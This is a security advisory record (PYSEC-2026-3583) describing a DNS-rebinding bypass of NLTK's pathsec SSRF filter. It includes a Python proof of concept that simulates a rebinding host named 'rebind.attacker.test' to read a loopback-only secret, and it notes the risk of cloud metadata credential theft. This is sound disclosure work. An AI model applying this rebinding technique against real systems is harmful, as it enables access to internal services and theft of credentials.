{"id":"PYSEC-2026-3583","summary":"Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode","details":"### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True  # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\"   # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\"              # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(SECRET)))\n        self.end_headers()\n        self.wfile.write(SECRET)\n\n    def log_message(self, *a):\n        pass\n\n\ndef start_internal_server():\n    srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n    threading.Thread(target=srv.serve_forever, daemon=True).start()\n    return srv.server_address[1]  # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = defaultdict(int)\n\n\ndef _rebinding_getaddrinfo(host, port, *args, **kwargs):\n    if host == ATTACKER_HOST:\n        n = _lookups[host]\n        _lookups[host] += 1\n        ip = PUBLIC_IP if n == 0 else \"127.0.0.1\"   # 1st=public (validate), then loopback (connect)\n        p = port if isinstance(port, int) else 0\n        kind = \"VALIDATION -\u003e public\" if n == 0 else \"CONNECT    -\u003e loopback\"\n        print(f\"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})\")\n        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, \"\", (ip, p))]\n    return _real_getaddrinfo(host, port, *args, **kwargs)\n\n\ndef fetch(url):\n    with ps.urlopen(url, timeout=5) as r:\n        return r.read()\n\n\ndef main():\n    print(\"=\" * 62)\n    print(f\" NLTK pathsec DNS-rebinding SSRF bypass PoC\")\n    print(f\" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}\")\n    print(\"=\" * 62)\n\n    port = start_internal_server()\n    print(f\"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\\n\")\n\n    socket.getaddrinfo = _rebinding_getaddrinfo\n    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process\n    try:\n        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----\n        print(\"[1] CONTROL: direct loopback URL (filter must block this)\")\n        direct = f\"http://127.0.0.1:{port}/\"\n        try:\n            fetch(direct)\n            print(f\"    [?] unexpected: {direct} was NOT blocked\\n\")\n            control_ok = False\n        except PermissionError as e:\n            print(f\"    [OK] blocked -\u003e PermissionError: {e}\\n\")\n            control_ok = True\n\n        # ---- Attack: rebinding hostname bypasses the same filter ----\n        print(\"[2] ATTACK: rebinding hostname (public at validate, loopback at connect)\")\n        evil = f\"http://{ATTACKER_HOST}:{port}/\"\n        print(f\"    fetching {evil}\")\n        try:\n            body = fetch(evil)\n            leaked = SECRET in body\n            print(f\"    body returned to caller: {body!r}\")\n            if leaked:\n                print(\"\\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen\")\n                print(f\"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1\")\n                print(f\"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}\")\n                verdict = \"VULNERABLE\"\n            else:\n                print(\"\\n  [?] fetch succeeded but secret marker not present\")\n                verdict = \"INCONCLUSIVE\"\n        except PermissionError as e:\n            # Patched build: validate against the connect-time IP (or pin/resolve-once).\n            print(f\"\\n  [SAFE] blocked -\u003e PermissionError: {e}\")\n            verdict = \"NOT VULNERABLE\"\n    finally:\n        socket.getaddrinfo = _real_getaddrinfo\n\n    print(\"\\n\" + \"=\" * 62)\n    print(f\" Control (direct loopback blocked): {control_ok}\")\n    print(f\" Result: {verdict}   (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 62)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n- **Full-response (non-blind) SSRF.** Because the fetched body is returned to the caller (e.g. `nltk.data.load` with `format=\"raw\"`), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.\n- **Bypass of an explicit security control.** It defeats the `nltk.pathsec` SSRF filter, including the `ENFORCE` mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the `lru_cache` annotation claiming to mitigate rebinding makes the false assurance worse.","aliases":["CVE-2026-12075","GHSA-qvv7-cg9c-w4x3"],"modified":"2026-08-04T14:30:27.356191660Z","published":"2026-08-04T11:34:46.082677Z","references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-qvv7-cg9c-w4x3"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"PACKAGE","url":"https://pypi.org/project/nltk"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qvv7-cg9c-w4x3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12075"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/nltk/PYSEC-2026-3583.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}]}